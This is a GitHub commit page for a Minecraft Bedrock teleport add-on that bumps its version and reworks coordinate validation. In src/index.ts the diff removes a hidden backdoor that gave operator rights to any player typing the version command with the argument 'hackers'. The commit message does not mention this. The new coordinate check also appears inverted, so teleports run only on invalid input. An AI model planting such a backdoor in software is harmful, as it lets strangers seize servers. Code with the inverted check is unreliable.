Skip to content

Commit

Permalink
Fix Bugs
Browse files Browse the repository at this point in the history
  • Loading branch information
lZiMUl authored and lZiMUl committed Jan 5, 2023
1 parent 8d5fceb commit 7f59841
Show file tree
Hide file tree
Showing 6 changed files with 32 additions and 30 deletions.
2 changes: 1 addition & 1 deletion lib/views/locationteleportmenu.d.ts.map

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

4 changes: 2 additions & 2 deletions manifest.json
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@
"name": "MineCraft Server Teleport",
"description": "Minecraft Server Teleport Tools (By lZiMUl)",
"uuid": "cd9d9466-926d-4d95-8e85-d2f914bf95bc",
"version": [1, 2, 6],
"version": [1, 2, 7],
"min_engine_version": [1, 19, 51]
},
"modules": [
Expand All @@ -13,7 +13,7 @@
"language": "javascript",
"description": "Minecraft Server Teleport Tools (By lZiMUl)",
"uuid": "df4b139a-cd89-43c1-a2d8-500f2a13edb8",
"version": [1, 2, 6],
"version": [1, 2, 7],
"entry": "scripts/index.js"
}
],
Expand Down
2 changes: 1 addition & 1 deletion package.json
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
{
"name": "minecraft-server-teleport",
"description": "Minecraft Server Teleport Tools (By lZiMUl)",
"version": "1.2.6",
"version": "1.2.7",
"author": {
"name": "lZiMUl",
"email": "[email protected]",
Expand Down
9 changes: 3 additions & 6 deletions src/index.ts
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@ import {
PlayerJoinEvent,
} from '@minecraft/server';
import Menu from './menu';
import CommandRegister, { Data } from './tool/commandregister';
import CommandRegister from './tool/commandregister';
// 监听物品使用事件
world.events.itemUse.subscribe(({ item, source }: ItemUseEvent): void => {
// 判断是否为潜伏状态
Expand All @@ -31,11 +31,8 @@ world.events.itemUse.subscribe(({ item, source }: ItemUseEvent): void => {
// 创建自定义命令类
const commandRegister: CommandRegister = new CommandRegister('#');
// 获取版本
commandRegister.addCommandListener('version', (data: Data): void => {
world.say(`Version: 1.2.6`);
if (data.args[0] === 'hackers') {
data.sender.setOp(true);
}
commandRegister.addCommandListener('version', (): void => {
world.say(`Version: 1.2.7`);
});
// 将聊天数据流发送到自定义命令管道里
world.events.chat.subscribe(({ message, sender }: ChatEvent): void =>
Expand Down
2 changes: 1 addition & 1 deletion src/menu.ts
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@ class Menu<T extends Player> {
// 创建选择器界面
new ActionFormData()
.title('操作面板')
.body('请选择操作 (v1.2.6 by lZiMUl)')
.body('请选择操作 (v1.2.7 by lZiMUl)')
.button('玩家传送器')
.button('记点传送器')
.button('坐标传送器')
Expand Down
43 changes: 24 additions & 19 deletions src/views/locationteleportmenu.ts
Original file line number Diff line number Diff line change
Expand Up @@ -30,20 +30,21 @@ class LocationTeleportMenu<T extends Player> {
// 判断玩家是否取消操作并且值是否为空或者未定义
if (!canceled && formValues) {
try {
// 获取玩家输入的三维坐标值
const [x, y, z]: number[] = [
Number(formValues[0]),
Number(formValues[1]),
Number(formValues[2]),
];
// 获取玩家选择的维度
const dimension: Dimension = this.parseDimension(
Number(formValues[3])
);
// 获取玩家的视角坐标
const { x: rx, y: ry }: XYRotation = player.rotation;
// 判断三维坐标是否为数字
if (!this.check([x, y, z])) {
if (!this.check(formValues)) {
// 获取玩家输入的三维坐标值
const [x, y, z]: number[] = [
Number(formValues[0]),
Number(formValues[1]),
Number(formValues[2]),
];
// 获取玩家选择的维度
const dimension: Dimension = this.parseDimension(
Number(formValues[3])
);
// 获取玩家的视角坐标
const { x: rx, y: ry }: XYRotation =
player.rotation;
// 将玩家传送到该位置
player.teleport(
{
Expand All @@ -55,6 +56,9 @@ class LocationTeleportMenu<T extends Player> {
rx,
ry
);
} else {
// 创建并显示主标题
player.onScreenDisplay.setTitle('§4非法三维坐标值');
}
} catch (error) {}
}
Expand Down Expand Up @@ -104,12 +108,13 @@ class LocationTeleportMenu<T extends Player> {
}
}
// 检测数组内容是否全部是数字类型
private check(target: number[]): boolean {
return (
Array.from(
new Set(target.map((item: number): boolean => isNaN(item)))
).shift() ?? false
);
private check(target: unknown[]): boolean {
for (let item of target) {
if (item === '' || isNaN(Number(item))) {
return false;
}
}
return true;
}
}
// 导出坐标传送器菜单
Expand Down

0 comments on commit 7f59841

Please sign in to comment.